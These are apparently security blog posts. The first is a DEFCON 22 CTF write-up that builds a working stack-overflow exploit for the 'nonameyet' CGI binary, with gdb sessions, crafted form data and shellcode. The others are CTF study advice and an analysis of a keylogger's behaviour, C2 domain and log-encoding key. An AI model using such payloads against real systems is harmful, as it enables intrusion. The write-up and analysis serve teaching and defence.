The %Time% bit does not parse correctly and we miss the check for % in the filename. This is because the variables are being URL decoded. If I set it to %25Time%25 it will decode properly as %Time% (0x25 = ‘%’). The other problem I ran into with this input is that although the %Time% variable is case sensitive when the time pointers and sizes are actually set in the structure it is looked up with lower case only. So, name=”time” and filename=”%25Time%25” will produce the following crash:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xb7fd9000 --> 0x0
EBX: 0x1000
ECX: 0x41414141 ('AAAA')
EDX: 0x80500a6 --> 0x0
ESI: 0x41414141 ('AAAA')
EDI: 0xb7fd9000 --> 0x0
EBP: 0xbffff638 ('A'<repeats 46 times>)
ESP: 0xbffff60a ('A'<repeats 92 times>)
EIP: 0x804cfa2 (rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804cf9a:   mov    edi,eax
   0x804cf9c:   mov    esi,DWORD PTR [ebp-0x14]
   0x804cf9f:   mov    ecx,DWORD PTR [ebp-0x18]
=> 0x804cfa2:   rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
   0x804cfa4:   mov    ebx,DWORD PTR [ebp+0x8]
   0x804cfa7:   mov    DWORD PTR [ebx],eax
   0x804cfa9:   mov    eax,DWORD PTR [ebp-0x18]
   0x804cfac:   mov    DWORD PTR [ebx+0x4],eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff60a ('A'<repeats 92 times>)
0004| 0xbffff60e ('A'<repeats 88 times>)
0008| 0xbffff612 ('A'<repeats 84 times>)
0012| 0xbffff616 ('A'<repeats 80 times>)
0016| 0xbffff61a ('A'<repeats 76 times>)
0020| 0xbffff61e ('A'<repeats 72 times>)
0024| 0xbffff622 ('A'<repeats 68 times>)
0028| 0xbffff626 ('A'<repeats 64 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804cfa2 in ?? ()
gdb-peda$

Huzzah! We’ve exercised the stack overflow and crashed on a memcpy(). If we can get the function to return we will have control over EIP. We are actually really close to the function return at this point as well. The ret instruction is at 0x0804CFB0, just a short 14 bytes away.

Let’s see if we can get around this crash. The rep movs instruction will move ECX number of bytes from the pointer in ESI to the pointer in EDI. Here, ECX is set to 0x41414141. Clearly we overwrote the size used in this copy. We could look at the stack frame and do the math with the allocas to figure out exactly which offset the counter is coming from, but it is faster to just put in a string pattern in the time variable.

We run it again with formdata of:

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV
-----------------------------13141138687192—

Debugging this gives us the following:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xb7fd9000 --> 0x0
EBX: 0x1000
ECX: 0x47474646 ('FFGG')
EDX: 0x80500a6 --> 0x0
ESI: 0x48484747 ('GGHH')
EDI: 0xb7fd9000 --> 0x0
EBP: 0xbffff638 ("LLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV")
ESP: 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV")
EIP: 0x804cfa2 (rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804cf9a:   mov    edi,eax
   0x804cf9c:   mov    esi,DWORD PTR [ebp-0x14]
   0x804cf9f:   mov    ecx,DWORD PTR [ebp-0x18]
=> 0x804cfa2:   rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
   0x804cfa4:   mov    ebx,DWORD PTR [ebp+0x8]
   0x804cfa7:   mov    DWORD PTR [ebx],eax
   0x804cfa9:   mov    eax,DWORD PTR [ebp-0x18]
   0x804cfac:   mov    DWORD PTR [ebx+0x4],eax
 [------------------------------------------------------------------------------]
Stopped reason: SIGSEGV
0x0804cfa2 in ?? ()
gdb-peda$

We can go back to our input file and replace the “FFGG” with NULLS so that no copy is executed. My first attempt was to inject raw NULL bytes into this file. I ran the following python script to get the job done. It’s not pretty, but it worked. I could also have used vi with %!xxd and %!xxd –r or any other hex editor to makes these changes.

$ python
Python 2.7.5+ (default, Feb 27 2014, 19:39:55)
[GCC 4.8.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.>>> a=open("formdata","rb")>>> t=a.read()>>> t.find("FFGG")
286>>> l=t.find("FFGG")>>> t[l:l+4]'FFGG'>>> def strow(instr, owstr, offset):
...   return instr[:offset] + owstr + instr[offset+len(owstr):]
...>>> p=strow(t, "\0\0\0\0", 286)>>> y=open("file2","wb")>>> y.write(p)>>> y.close()

While the python script properly modified the file, this technique did not work. ECX, instead of NULL, was set to 0x2d2d2d2d or “—-“. This value is coming from our boundary on the multipart data. I assumed that because we used NULL bytes that they must be causing early termination of string parsing routines. What if we URL encode the NULL bytes?

Setting the time variable to “AAAABBBBCCCCDDDDEEEEFF%00%00%00%00GGHHHHIIII” and debugging once again yields:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata
Content-type: text/html
Cookie: AA==<p>ERROR: 906</p><meta http-equiv='refresh' content='0;url=../thanks.php'>[Inferior 1 (process 1834) exited normally]
Warning: not running or target is remote
gdb-peda$

Well that was a step in the wrong direction! There is no crash now. We are seeing the ERROR: 906 coming back, which is what happens when the photo file being uploaded fails to open. The cookie coming back to us in the HTTP header is the name of this file. The base64 decoding of “AA==“ is 0x00, so it is understandable that that file did not open. I think we are running into similar issues with the string parsing again. This is as far as I got during the actual CTF.

It was not until afterwards that it was pointed out to me that we can double URL encode the NULL values. If URL encoding once makes 0x00 = %00 then URL encoding twice will be 0x00 = %00 = %25%30%30. With my formdata file now looking like this:

-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

AAAABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP
-----------------------------13141138687192—

We get a debugger output of:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xb7fd9000 --> 0x0
EBX: 0x4f4f4e4e ('NNOO')
ECX: 0x0
EDX: 0x80500a6 --> 0x0
ESI: 0x48484747 ('GGHH')
EDI: 0xb7fd9000 --> 0x0
EBP: 0xbffff638 ("LLMMMMNNNNOOOOPPPP")
ESP: 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFF")
EIP: 0x804cfa7 (mov    DWORD PTR [ebx],eax)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804cf9f:   mov    ecx,DWORD PTR [ebp-0x18]
   0x804cfa2:   rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
   0x804cfa4:   mov    ebx,DWORD PTR [ebp+0x8]
=> 0x804cfa7:   mov    DWORD PTR [ebx],eax
   0x804cfa9:   mov    eax,DWORD PTR [ebp-0x18]
   0x804cfac:   mov    DWORD PTR [ebx+0x4],eax
   0x804cfaf:   leave
   0x804cfb0:   ret
[------------------------------------stack-------------------------------------]
0000| 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFF")
0004| 0xbffff60e ("BBBBCCCCDDDDEEEEFF")
0008| 0xbffff612 ("CCCCDDDDEEEEFF")
0012| 0xbffff616 ("DDDDEEEEFF")
0016| 0xbffff61a ("EEEEFF")
0020| 0xbffff61e --> 0x4646 ('FF')
0024| 0xbffff622 --> 0x47470000 ('')
0028| 0xbffff626 ("HHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804cfa7 in ?? ()
gdb-peda$

Awesome, we got past the rep movs with a NULL ECX and we are now 9 bytes away. The crash is now on the instruction 0x804cfa7: mov DWORD PTR [ebx],eax where EBX is 0x4f4f4e4e. We are writing EAX to this pointer. We can set this to be anywhere in memory that is writeable to avoid this crash. At the offset for “NNOO” let’s put in 0x0804F0EC, which is just past the end of the .BSS section. That address is mapped into our memory space and will be NULL and unused throughout the program. We will need to little endian encode and URL encode this pointer resulting in: %EC%F0%04%08.

Now with a formdata file of:

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

AAAABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMMMMNN%EC%F0%04%08OOPPPP
-----------------------------13141138687192—

We get a debugger output of:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x804f0ec --> 0xb7fd9000 --> 0x0
ECX: 0x0
EDX: 0x80500a6 --> 0x0
ESI: 0x48484747 ('GGHH')
EDI: 0xb7fd9000 --> 0x0
EBP: 0x4d4d4c4c ('LLMM')
ESP: 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0
EIP: 0x4e4e4d4d ('MMNN')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x4e4e4d4d
[------------------------------------stack-------------------------------------]
0000| 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0
0004| 0xbffff644 ("OOPPPP")
0008| 0xbffff648 --> 0xff005050
0012| 0xbffff64c --> 0x1
0016| 0xbffff650 --> 0xb7e2bb98 --> 0x2a5c ('\\*')
0020| 0xbffff654 --> 0xb7fdc858 --> 0xb7e1f000 --> 0x464c457f
0024| 0xbffff658 --> 0xbffff866 ("/home/bool/nonameyet.cgi")
0028| 0xbffff65c --> 0x80500a0 ("%Time%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x4e4e4d4d in ?? ()
gdb-peda$

Excellent! EIP: 0x4e4e4d4d. I can now control the next instruction that this program executes. Our goal is to send EIP back to a buffer that we control. Let’s find everywhere in memory that our input string exists:

gdb-peda$ searchmem AAAABBBB
Searching for 'AAAABBBB' in: None ranges
Found 3 results, display max 3 items:
 [heap] : 0x80501b8 ("AAAABBBBCCCCDDDDEEEEFF")
 mapped : 0xb7fda108 ("AAAABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMMMMNN%EC%F0%04%08OOPPPP\r\n", '-'<repeats 29 times>, "13141138687192--\r\n")
[stack] : 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFF")
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x0804e000 r-xp      /home/bool/nonameyet.cgi
0x0804e000 0x0804f000 r-xp      /home/bool/nonameyet.cgi
0x0804f000 0x08050000 rwxp      /home/bool/nonameyet.cgi
0x08050000 0x08071000 rwxp      [heap]
0xb7e1e000 0xb7e1f000 rwxp      mapped
0xb7e1f000 0xb7fcd000 r-xp      /lib/i386-linux-gnu/libc-2.17.so
0xb7fcd000 0xb7fcf000 r-xp      /lib/i386-linux-gnu/libc-2.17.so
0xb7fcf000 0xb7fd0000 rwxp      /lib/i386-linux-gnu/libc-2.17.so
0xb7fd0000 0xb7fd3000 rwxp      mapped
0xb7fd9000 0xb7fdd000 rwxp      mapped
0xb7fdd000 0xb7fde000 r-xp      [vdso]
0xb7fde000 0xb7ffe000 r-xp      /lib/i386-linux-gnu/ld-2.17.so
0xb7ffe000 0xb7fff000 r-xp      /lib/i386-linux-gnu/ld-2.17.so
0xb7fff000 0xb8000000 rwxp      /lib/i386-linux-gnu/ld-2.17.so
0xbffdf000 0xc0000000 rwxp      [stack]

I have three choices for direct execution: heap, mapped, or stack. All of the sections are executable. If I run the binary again and do the same search we can determine if any of these sections are affected by ASLR. They all looked stable between runs to me. Remember this for later.

My preference is to use the mapped section because it looks like it has a complete copy of the data exactly as I sent it in. Other options here are to look for more input vectors, specifically cookies and other variables. Let’s use python again to set the “AAAA” in our input to \xcc\xcc\xcc\xcc so that we might trigger an int 3 debugging break point.

Next, let’s overwrite the “MMNN” offset that was in EIP with the little endian URL encoded address of %08%a1%fd%b7 (0xb7fda108) that should point directly to the start of our data (int 3) in the mapped section. If all goes well, we should expect to see a SIGTRAP.

The formdata file is:

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

▒▒▒▒BBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMM%08%a1%fd%b7%EC%F0%04%08OOPPPP
-----------------------------13141138687192—

The debugger output is:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGTRAP, Trace/breakpoint trap.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x804f0ec --> 0xb7fd9000 --> 0x0
ECX: 0x0
EDX: 0x80500a6 --> 0x0
ESI: 0x48484747 ('GGHH')
EDI: 0xb7fd9000 --> 0x0
EBP: 0x4d4d4c4c ('LLMM')
ESP: 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0
EIP: 0xb7fda109 --> 0x42cccccc
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fda0fc:  gs
   0xb7fda0fd:  cmp    eax,0x6d697422
   0xb7fda102:  and    cl,BYTE PTR gs:0xcc0a0d0a
=> 0xb7fda109:  int3
   0xb7fda10a:  int3
   0xb7fda10b:  int3
   0xb7fda10c:  inc    edx
   0xb7fda10d:  inc    edx
[------------------------------------stack-------------------------------------]
0000| 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0
0004| 0xbffff644 ("OOPPPP")
0008| 0xbffff648 --> 0xff005050
0012| 0xbffff64c --> 0x1
0016| 0xbffff650 --> 0xb7e2bb98 --> 0x2a5c ('\\*')
0020| 0xbffff654 --> 0xb7fdc858 --> 0xb7e1f000 --> 0x464c457f
0024| 0xbffff658 --> 0xbffff866 ("/home/bool/nonameyet.cgi")
0028| 0xbffff65c --> 0x80500a0 ("%Time%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xb7fda109 in ?? ()
gdb-peda$

Great! We have arbitrary code execution now. Unfortunately, the start of our string only affords us 22 bytes of execution before we run into the NULL encoded ECX register from earlier. We now have two options. The first is to make the filename larger than %25Time%25 so that more stack is allocated and our offsets are further into the file. The second option I see is to encode a short relative jump instruction in place of the int 3. Because we are doing this from a flat file and not an exploit script it would be very easy to lose track of shifting offsets, so I opted for the second option.

Currently, the start of the “OOPP” that ends our input string is 105 bytes away. I can encode a jump as %eb%67 to jump +105 bytes forward and land right on my data. After a bit of trial and error building the input file I was able to line everything up just right and gain code execution when running in gdb. I simply replaced the “OOPPPP” with my shellcode to open /home/nonameyet/flag, read it to the stack, and write it to stdout. Note that this shellcode would not trigger the .bash_alias backdoor from earlier!

However, when I run it outside of the debugger I get a segmentation fault. This is a common annoyance when writing exploits. Things can change when they are being debugged. I ran a strace command to see if any of the shellcode was making system calls:

$ ./nonameyet.cgi < formdata2
…
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0xb76ff000
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xb7fda108} ---
+++ killed by SIGSEGV (core dumped) +++

Nope, I never got execution. With si_addr=0xb7fda108 I am at least still jumping to the correct spot. What I notice is that the mmap call is returning 0xb76ff000. This is not what I was seeing as a consistent address for my data on the 0xb7fda000 page. So, that address does not exist and we need to go back to pick one of the other two points where we have code. Let’s pick the heap this time with an address of 0x080501b8 as our new EIP.

After modifying the formdata file again and setting a break point on the return from the interesting function, it looks like the heap address has moved as well. It is now at [heap] : 0x8050318 (“AAAABBBBCCCCDDDDEEEEFF”). I suggest that this changed because our input lengths have changed since I last looked. I’ve added shellcode now after all.

The base address for the heap is still in the same spot: 0x08050000. It is just the offset within that page that has shifted. Let’s put in the new address for EIP and try our luck with yet another run. The other thing that is different about this heap location is that all of our data has already been URL decoded. Thus, we will need to URL encode all of our binary values. This includes the shellcode.

This time it hits a SIGTRAP again and we can redo our relative short jump calculation jump to land on arbitrary shellcode. We are executing at 0x08050318 and we need to jump to 0x08050352, or 58 bytes away, which means we should us an opcode of “\xeb\x38”. Setting this at the start jumps perfectly to our shellcode, which now executes just fine in the debugger. Again.

But, once again, running without the debugger attached produces a crash! It appears that the heap moves as well. This makes logical sense. If the mmap call is moving and the heap is allocated in a similar way, then they both should move with ASLR. We could try the stack location by building in a large NOP (\x90) sled before our shellcode and go about guessing stack addresses despite ASLR, brute forcing the return address used for EIP. I’ve shamefully used this technique in past CTF events with success.

The whole problem here, and the reason I’ve failed to exploit twice, is that GDB has disabled ASLR. Remember when I checked it earlier? I could have saved myself a lot of time if I had realized this back then. While having your debugger turn off ASLR makes debugging easier, it leads to false hope. Let this be a lesson to always run the set disable-randomization off command in GDB when starting exploit development on a binary. I believe this default ASLR disabled state is actually coming from the PEDA GDB init script I am using. I have another idea that should work with ASLR.

Remember that data structure passed into the interesting function? Well, there is no reason why we only have to fill out the “filename” and “time” variables. If we set the “date” variable there will be a pointer to the date value on the stack. We can put our shellcode in there and use a technique called a return sled to get down the stack.

Here is a short debugging session showing the stack at the beginning of the interesting function:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ break *0x0804CE3B
Breakpoint 1 at 0x804ce3b
gdb-peda$ set args < formdata3
gdb-peda$ r

Breakpoint 1, 0x0804ce3b in ?? ()
gdb-peda$ stack 20
0000| 0xbffff63c --> 0x80492eb (test   eax,eax) # return address in main()
0004| 0xbffff640 --> 0xbffff65c --> 0x80500a0 ("%Time%")
0008| 0xbffff644 --> 0xbffff68c --> 0xe
0012| 0xbffff648 --> 0xffffffff
0016| 0xbffff64c --> 0x1
0020| 0xbffff650 --> 0xb7e2bb98 --> 0x2a5c ('\\*')
0024| 0xbffff654 --> 0xb7fdc858 --> 0xb7e1f000 --> 0x464c457f
0028| 0xbffff658 --> 0xbffff866 ("/home/bool/nonameyet.cgi")
0032| 0xbffff65c --> 0x80500a0 ("%Time%")
0036| 0xbffff660 --> 0x7
0040| 0xbffff664 --> 0x0
0044| 0xbffff668 --> 0x0
0048| 0xbffff66c --> 0x80501b8 --> 0x414138eb   # this is the time variable
0052| 0xbffff670 --> 0x3b (';')                 # time variable length
0056| 0xbffff674 --> 0x8050348 --> 0xf0ec8166   # date variable
0060| 0xbffff678 --> 0x54 ('T')                 # date variable length
0064| 0xbffff67c --> 0x0
0068| 0xbffff680 --> 0x0
0072| 0xbffff684 --> 0x0
0076| 0xbffff688 --> 0x0
gdb-peda$

If we replace our original return address with 0x08048945 (the address of a ret instruction) and then immediately following this address place the same address again, the program will return twice and the stack will be incremented by 8. We can do this all the way down the stack until we reach our pointer to the date variable. A little math tells us (0xbffff674 - 0xbffff63c) / 4 that we need to put the pointer to the ret instruction on the stack 14 times to reach the pointer to our shellcode.

One problem. When I go to edit the time variable I see that we have &l;teip> then <bss> address in the time variable. This was required to survive the write from earlier. I will not be able to write to the text section of the binary so I cannot use this address for the ret sled. Because the number of addresses is even, I can point the return sled to a pop ret gadget and have a pop/ret sled instead. There is a pop just one byte before the previous ret address at 0x08048944. I will still need to put this address in 14 times but every other instance will not be executed.

My first attempt at this failed as well! When I looked at the stack, the pointer for the “date” variable was not where it should be. The length was correct but we were returning into NULLs. Looking a little closer, I noticed that the pointer for this variable ended with 0x00. Of course, the time variable was null terminating on the stack. My length was off by one. Since I am already doing a pop/ret sled the pointer immediately before the date pointer is not executed. It could really be anything. I made the time variable one byte shorter and FINALLY gained code execution outside of a debugger. Here is the completed formdata file and execution printing out /home/nonameyet/flag:

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

%eb%38AABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMM%44%89%04%08%EC%F0%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04
-----------------------------13141138687192
Content-Disposition: form-data; name="date"

%66%81%EC%F0%01%83%E4%F8%EB%30%5E%89%F3%31%C9%31%C0%B0%05%CD%80%89%C3%89%F1%31%D2%B2%FF%31%C0%B0%03%CD%80%BB%FF%FF%FF%FF%F7%DB%89%F1%88%C2%31%C0%B0%04%CD%80%31%C0%B0%01%CD%80%E8%CB%FF%FF%FF%2F%68%6F%6D%65%2F%6E%6F%6E%61%6D%65%79%65%74%2F%66%6C%61%67%00
-----------------------------13141138687192--

$ ./nonameyet.cgi < formdata
Angry Rhinoceros And then I found five dollars.

The only thing left to do is to send this over a socket to the web server so that I can pull back the flag on the remote system. Too bad the service was offline by the time I completed the challenge.

There are other ways to go about landing this stack overflow. Another public write up is here (in Chinese). It looks like this team made a ROP chain to getenv() that would read in cookie data. The same stack overflow bug was used.

Big thanks to HJ and Legit BS for a fun CTF problem. I spent way too much time playing with it. If you enjoyed this walk through or have questions or comments, you are welcome to email me: svittitoe at endgame.com.

Over the past two weeks, I’ve examined two different problems from the DEFCON 22 CTF Qualifications: “shitsco” and “nonameyet”. Thank you for all of the comments and questions. The most popular question I received was “How can I get started in CTFs?” It wasn’t so long ago that I was asking myself the same thing, so I wanted to provide some suggestions and resources for those of you interested in pursuing CTFs. The easiest way to start is to sign up for an introductory CTF like CSAW, Pico CTF,Microcorruption, or any of the other dozens available. Through practice, patience, and dedication, your skills will improve with time.

If you’re motivated to take a crack at some of the problems outside of the competition setting, most CTF competitions archive problems somewhere. Challenges tend to have a wide range of difficulty levels as well. Be careful about just picking the easiest problems. Difficulty is subjective based on your individual skillset. If your forte is forensics but you are not skilled in crypto, the point values assigned to the forensics problems will seem inflated while the crypto challenges will seem undervalued to you. The same perception biases hold true for CTF organizers. This is one reason why assessing the difficulty of CTF problems is so challenging.

If you’ve tried several of the basic problems on your own and are still struggling, then there are plenty of self-study opportunities. CTF competitions generally focus on the following skills: reverse engineering, cryptography, ACM style programming, web vulnerabilities, binary exercises, networking, and forensics. Pick one and focus on a single topic as you get started.

1) Reverse Engineering. I highly suggest that you get a copy of IDA Pro. There is a free version available as well as a discounted student license. Try some crack me exercises. Write your own C code and then reverse the compiled versions. Repeat this process while changing compiler options and program logic. How does an “if” statement differ from a “select” in your compiled binary? I suggest you focus on a single architecture initially: x86, x86_64, or ARM. Read the processor manual for whichever one you choose. Book recommendations include:

• Practical Reverse Engineering
• Reversing: Secrets of Reverse Engineering
• The IDA Pro Book

2) Cryptography. While this is not my personal strength, here are some resources to check out:

• Applied Cryptography
• Practical Cryptography
• Cryptography I

3) ACM style programming. Pick a high level language. I recommend Python or Ruby. For Python, read Dive into Python (free) and find a pet project you want to participate in. It is worth noting that Metasploit is written in Ruby. Computer science classes dealing with algorithms and data structures will go a long way in this category as well. Look at past programming challenges from CTF and other competitions – do them! Focus on creating a working solution rather than the fastest or most elegant solution, especially if you are just getting started.

4) Web vulnerabilities. There are many web programming technologies out there. The most popular in CTF tend to be PHP and SQL. The php.net site is a fantastic language reference. Just search any function you are curious about. After PHP, the next most common way to see web challenges presented is with Python or Ruby scripts. Notice the overlap of skills? There is a good book on web vulnerabilities, The Web Application Hacker’s Handbook. Other than that, after learning some of the basic techniques, you might also think about gaining expertise in a few of the more popular free tools available. These are occasionally useful in CTF competitions too. This category also frequently overlaps with cryptography in my experience.

5) Binary exercises. This is my personal favorite. I recommend you go through reverse engineering before jumping into the binary exercises. There are a few common vulnerability types you can learn in isolation: stack overflows, heap overflows, and format string bugs for starters. A lot of this is training your mind to recognize vulnerable patterns. Looking at past vulnerabilities is a great way to pick up these patterns. You should also read through:

• Hacking: The Art of Exploitation
• The Shellcoders Handbook
• The Art of Software Security Assessment

6) Forensics/networking. A lot of CTF teams tend to have “the” forensics guy. I am not that guy, but I suggest you learn how to use the 010 hex editor and don’t be afraid to make absurd, wild, random guesses as to what could be going on in some of these problems.

Finally, Dan Guido and company recently put out the CTF field guide, which is a great introduction to several of these topics.

In keeping with the theme of my previous post, “malware never truly dies – it just keeps on compromising”, today I’d like to investigate a binary that surfaced a couple of months ago. While the binary itself is young, the domain it reaches back to for Command and Control (CnC) has been used by nefarious binaries - like Cryp_SpyEye, AUTOIT.Trojan.Agent-9 and TROJ_SPNR - since at least October 2012. Hence, this is another example of how “old” malware continues to compromise long after it has been discovered.

What really caught my eye about this binary was one of its obfuscation techniques. The literal file name of the binary is unknown, so for the purposes of examining it, I renamed it b41149.exe, which are the first six characters of its SHA256 hash. The complete hash will be provided later in the file identifier section.

An initial look at b41149.exe revealed it to be a custom-packed binary with an internal file name of “microsft.exe”, complete with a Microsoft icon (see Figure 1).

Figure 1: Binary Icon

Even more interesting was an embedded JPEG at offset 11930A. As of this writing, no purpose for this JPEG has been uncovered. Could this be some type of calling card? Figure 2 reflects the embedded JPEG in a hex view while Figure 3 displays the actual image file.

Figure 2: Hew View of Embedded JPEG

Figure 3: Embedded JPEG Inside b4119.exe

Another curious aspect of b41149.exe, and undoubtedly much more important than the JPEG, was the fact that it contained a Unicode-encoded binary between offset 508B and offset 117C0A. This is the part that really caught my eye. I’ve seen embedded binaries obfuscated in this manner primarily in RTF files, and also in PDFs and DOCs, but I personally haven’t come across one yet that used this obfuscation scheme while embedded inside another binary. It turns out the embedded binary is the real workhorse here, and Figure 4 reflects how it appears inside b41149.exe.

Figure 4: Unicode-encoded Binary Inside b4119.exe

B41149.EXE in Runtime

Upon execution, b41149.exe self-replicates to C:\WINDOWS\System32\mony\System.exe with hidden attributes. In addition, a visibly noticeable command shell is opened. System.exe, the malware’s running process, then hooks to the malware-spawned command shell. However, upon reboot, System.exe hooks to the default browser rather than a command shell, but since the browser window isn’t opened this would not be visibly noticeable to the affected user. Additionally, during runtime, b41149.exe self-replicates to six other locations throughout the system and creates one copy of itself that has the following 10 bytes appended to it - 0xFE154DE7184501CD2325. The binary also sets several registry value keys and stores encoded keylog data as logs.dat in the logged on users %AppData% folder. Once loaded, the running process attempts to connect to a.servecounterstrike.com over port 115, and it persists on a victim host through a registry RUN key as well as on a copy of the binary in Start Up. The following table provides a chronological gist of the malware on a victim host during runtime.

Table 1: Chronological Gist of Malware on an Infected Host

As previously stated, the Unicode-encoded binary embedded inside b41149.exe (reflected in Figure 4) is the real power of this malware - it does all the heavy lifting. As a stand-alone binary, it will do everything described in Table 1, except the self-replications, other than to %System%\mony\System.exe. In light of this, the remaining code in b41149.exe appears to be responsible for the other self-replications. However, before the embedded binary is functional (as a stand-alone), the PE Header must be fixed and 1,391 4-byte blocks of 0x00002000 must be removed. These 4-byte blocks of ‘filler’ are inserted every 400 bytes. The exact reason for this is unknown, but I would guess it’s to hinder reversing efforts. Once fixed, however, the binary will run independently and without any degradation of maliciousness.

The keylogged data file, logs.dat, is encoded with a 30-byte key, but not in its entirety. Each new process, such as notepad, a command shell, browser, etc., spawns a new line of keylogged data. And each line is delimited with #### (or 0x23232323). The key is then applied to each new line, following the delimiter. Deep dive analysis has not yet been done to uncover the actual encoding algorithm or loop. However, the encoded logs.dat file can be decoded by applying the following 30-byte key after each delimiter: 0E0A0B16050E0B0E160A05020304040C010B0E160604160A0B0604130B16. Figure 5 contains a hex view sample of the encoded logs.dat file.

Figure 5: Hex View of Encoded Keylogged Data in LOGS.DAT

The following table demonstrates the decoding process for the first line of logs.dat. Each encoded byte is XOR’d with its corresponding byte from the key, producing the decoded byte. For example 0x75 XOR with 0x0E becomes 0x7B; or in ASCII, U becomes {.

Table 2: Keylogger Decoding Scheme

